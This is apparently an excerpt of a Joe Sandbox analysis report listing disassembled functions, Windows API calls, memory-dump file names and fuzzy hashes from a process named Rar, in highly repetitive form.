Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 6fddab1300aa83e6ee6488d957c70fca0d8c149a78bf6a65a7516b61a932d554
Instruction ID: abb959cbbcd426bba88177269d948451460c6e4859534b2be5dd5bc7b4cd6563
Opcode Fuzzy Hash: 6fddab1300aa83e6ee6488d957c70fca0d8c149a78bf6a65a7516b61a932d554
Instruction Fuzzy Hash: 6A21F122E0D742A1EF628A12D4257BA67DAAF41B94F244931DF5C863D9FE3ED486C300

Function 00007FF6F67D4E90 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF6F67D4EF1
GetLastError.KERNEL32 ref: 00007FF6F67D4EFE

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cbc6e0c8f92cb086dccefb2769f20b619e530ec20a9f5f7493c1b72755516452
Instruction ID: a242532bc25150b3a743ed8092707e634082c10cf740683bba46e21acf3d2136
Opcode Fuzzy Hash: cbc6e0c8f92cb086dccefb2769f20b619e530ec20a9f5f7493c1b72755516452
Instruction Fuzzy Hash: DA11B621E18A4291FB60CB26E49427D6369FB44B74F544B31EA7DD22E8EF3ED592C700

Function 00007FF6F67C915C Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

setbuf.LIBCMT ref: 00007FF6F67C916F

Part of subcall function 00007FF6F6816284: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F681B27B

setbuf.LIBCMT ref: 00007FF6F67C9183

Part of subcall function 00007FF6F67C9238: GetStdHandle.KERNEL32(?,?,00000200,00007FF6F67C9192), ref: 00007FF6F67C923E
Part of subcall function 00007FF6F67C9238: GetFileType.KERNELBASE(?,?,00000200,00007FF6F67C9192), ref: 00007FF6F67C924A
Part of subcall function 00007FF6F67C9238: GetConsoleMode.KERNELBASE(?,?,00000200,00007FF6F67C9192), ref: 00007FF6F67C925D

Part of subcall function 00007FF6F681625C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F6816270

Part of subcall function 00007FF6F68162E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6F68163BC

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo$setbuf$ConsoleFileHandleModeType
String ID:
API String ID: 4044681568-0
Opcode ID: 0eb23a3d9fec407716aeae9f4b5f668f21f0f2780a3369b42088b80abc157925
Instruction ID: df119e2f84e4f9a4bcf5954df449f5cfe6c54ca4d9275ea4cfda516022a45d01
Opcode Fuzzy Hash: 0eb23a3d9fec407716aeae9f4b5f668f21f0f2780a3369b42088b80abc157925
Instruction Fuzzy Hash: 4601E500E2D18206FB48B3B558233B9258F4F96354F50427CE1BE8A2D7FC5F68418366

Function 00007FF6F67D6428 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00007FF6F67D5EFE,?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67D6457
SetFileAttributesW.KERNEL32(?,00007FF6F67D5EFE,?,?,?,?,?,00000800,00000000,00007FF6F67E6863,?,?,?,00007FF6F67E71FC), ref: 00007FF6F67D6484

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 533f5c8598b840cc85657965fb2d1243c475732cd6ab2f2ff36dfac1203015de
Instruction ID: bcce808fde05696672785d3385e606aae10243f55aee8a643f9a60f188aa6d14
Opcode Fuzzy Hash: 533f5c8598b840cc85657965fb2d1243c475732cd6ab2f2ff36dfac1203015de
Instruction Fuzzy Hash: 2B017521B2968181E7609B11E42129A63ADBF48BD0F844135EDECC3798EE3DD9418B00

Function 00007FF6F67D5B10 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000000,00007FF6F67D5AA9,?,?,?,?,?,?,?,?,00007FF6F67E713E,?,?,?,?,?), ref: 00007FF6F67D5B38
GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF6F67E713E,?,?,?,?,?,00000800,00000000), ref: 00007FF6F67D5B61

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 992cea267e01bc21f6122b67d8edef5f9d08b1c7b7969bf73faefe3f83a049ba
Instruction ID: 5315d3ce7ca0fc10ed4d8ed2fb7ea7718d833dea9b15668af57a7598a17d5b73
Opcode Fuzzy Hash: 992cea267e01bc21f6122b67d8edef5f9d08b1c7b7969bf73faefe3f83a049ba
Instruction Fuzzy Hash: 1CF0A421B2878182E7609B24F4513A96368AF4C7E4F400535EEFCC77C5EE6DD5848600

Function 00007FF6F67FE048 Relevance: 3.0, APIs: 2, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(00000000,00007FF6F67FABD4), ref: 00007FF6F67FE076
LoadLibraryExW.KERNELBASE ref: 00007FF6F67FE0A1

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: adc0fc97c6b03205833560c29b71cf7f673fdf201270f59ece8a83025397609d
Instruction ID: d2abb804f15c8cd19202513e637bd1ebcc00cc6826e8daa2d7b3fc27f4774d56
Opcode Fuzzy Hash: adc0fc97c6b03205833560c29b71cf7f673fdf201270f59ece8a83025397609d
Instruction Fuzzy Hash: 84F01261A3958152F7609B11E8253E66368BF9C784F804035E9EDC26D5FE2DD245CA60

Function 00007FF6F67FE6A4 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6F67FE6F9,?,?,?,?,?,?,?,00000000,00007FF6F67DB7DA), ref: 00007FF6F67FE6A8
GetProcessAffinityMask.KERNEL32 ref: 00007FF6F67FE6BB

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 5dc225862495392273051503a111beff30dc4d36bdccbaa805dc13cd341149a8
Instruction ID: e8fc153adfe1f89c31dd12e05c481265f4bb3df7a29143437950ef97cccbff51
Opcode Fuzzy Hash: 5dc225862495392273051503a111beff30dc4d36bdccbaa805dc13cd341149a8
Instruction Fuzzy Hash: F7E02B61B2454693DF088B55C4608E973D5FFC8B40B84803AE51AC3654FE2EE1498B40

Function 00007FF6F680CA48 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F680CA78

Part of subcall function 00007FF6F680D6A4: std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6F680D6AD

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6F680CA7E

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::bad_alloc::bad_alloc
String ID:
API String ID: 1173176844-0
Opcode ID: a085009318642fc656fce4e43cfef669779191ead444e19e6215fa55640b7795
Instruction ID: 1b899933b57b30a131b6ef906b453f6b38ee55737db543b5be78e77fb4eb3dcc
Opcode Fuzzy Hash: a085009318642fc656fce4e43cfef669779191ead444e19e6215fa55640b7795
Instruction Fuzzy Hash: 16E08C90F2B10760FF1865B1681517500581F05770E382F38DABD942D3BD2EA0918130

Function 00007FF6F68183D4 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF6F68183EA
GetLastError.KERNEL32 ref: 00007FF6F68183FC

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 5d7f6175516a8c0ba700e4e0703736baa818957a8f4f5d06f4ce662424ddf8bc
Instruction ID: 33e5d1ee2db2ef51cbfca54edf3bdab46e5fbe0141f605555eb583ad65fe3aa8
Opcode Fuzzy Hash: 5d7f6175516a8c0ba700e4e0703736baa818957a8f4f5d06f4ce662424ddf8bc
Instruction Fuzzy Hash: C0E0E6E1F2950342FF255BB6A456175139D6F48B40F04443CD93FD62D1FD2EA5554270

Function 00007FF6F6815ABC Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6F6815AE4

Part of subcall function 00007FF6F6815C74: GetModuleHandleExW.KERNEL32 ref: 00007FF6F6815C94
Part of subcall function 00007FF6F6815C74: GetProcAddress.KERNEL32 ref: 00007FF6F6815CAA
Part of subcall function 00007FF6F6815C74: FreeLibrary.KERNEL32 ref: 00007FF6F6815CCF

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: fc768d608b41035eeb373278ad979ad2227fc41977d551ec77000ff5bf805730
Instruction ID: 4ce314a9ab92469b3522a45f98b5ccc23a4de7b1b8b429cf81a89349bec228f7
Opcode Fuzzy Hash: fc768d608b41035eeb373278ad979ad2227fc41977d551ec77000ff5bf805730
Instruction Fuzzy Hash: 2341B0A1E3964242FB249B24D4A01792399AF54B50F40543DD93EC76E1FF3FE840C362

Function 00007FF6F681B3D8 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F681B40C

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6bdbfb21c5c92796be47b2f81bf1a8d0af7216349b31097f5e182855d4ccdd4e
Instruction ID: 6dc02b123daa29cc5df98f1a8618040bdc33d0144c8cb8ff41858140800307fa
Opcode Fuzzy Hash: 6bdbfb21c5c92796be47b2f81bf1a8d0af7216349b31097f5e182855d4ccdd4e
Instruction Fuzzy Hash: 0B112B32A3C68286F7209B55A48017A62ACFF45394F54503DE6BEC76D6FF2EE8508760

Function 00007FF6F67C6058 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 00007FF6F67C6082

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CommandLine
String ID:
API String ID: 3253501508-0
Opcode ID: 52a8f2bda26aaf8329d1410c904d7b9aa870136ac9ced042e567c117a84ed131
Instruction ID: 4575383e21511cf1afe991af7166fcbf927839c550761ce7990c99092d30e5d6
Opcode Fuzzy Hash: 52a8f2bda26aaf8329d1410c904d7b9aa870136ac9ced042e567c117a84ed131
Instruction Fuzzy Hash: BF01A511A1CA4241FB16AB16A1B15BF56A8AF49BD0F280031EF6E577D6FE3FD8428310

Function 00007FF6F6818414 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 4f1f0d8dc1cf7b4accd9cf32f6789b7c9155f35db4e684e436fcde1a0f80325a
Instruction ID: 12e2fb7e54ccbc0c406bf91fa4cf8ec74ad07f1ea4a738c9f51d80f73bb2b5c4
Opcode Fuzzy Hash: 4f1f0d8dc1cf7b4accd9cf32f6789b7c9155f35db4e684e436fcde1a0f80325a
Instruction Fuzzy Hash: 15018BD0E2C64380FB7897A66902279119C6F44BE0F48863CED7EC66D6FE2EE4404231

Function 00007FF6F67D6FB0 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F67D7124: FindFirstFileW.KERNELBASE(00000000,?,00000000,?,00000000,00007FF6F67D707C,?,?,?,00007FF6F67E71E4), ref: 00007FF6F67D716E
Part of subcall function 00007FF6F67D7124: FindFirstFileW.KERNELBASE(?,?,?,00007FF6F67E71E4), ref: 00007FF6F67D719F
Part of subcall function 00007FF6F67D7124: GetLastError.KERNEL32(?,?,?,00007FF6F67E71E4), ref: 00007FF6F67D71AE

FindClose.KERNELBASE ref: 00007FF6F67D6FE8

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
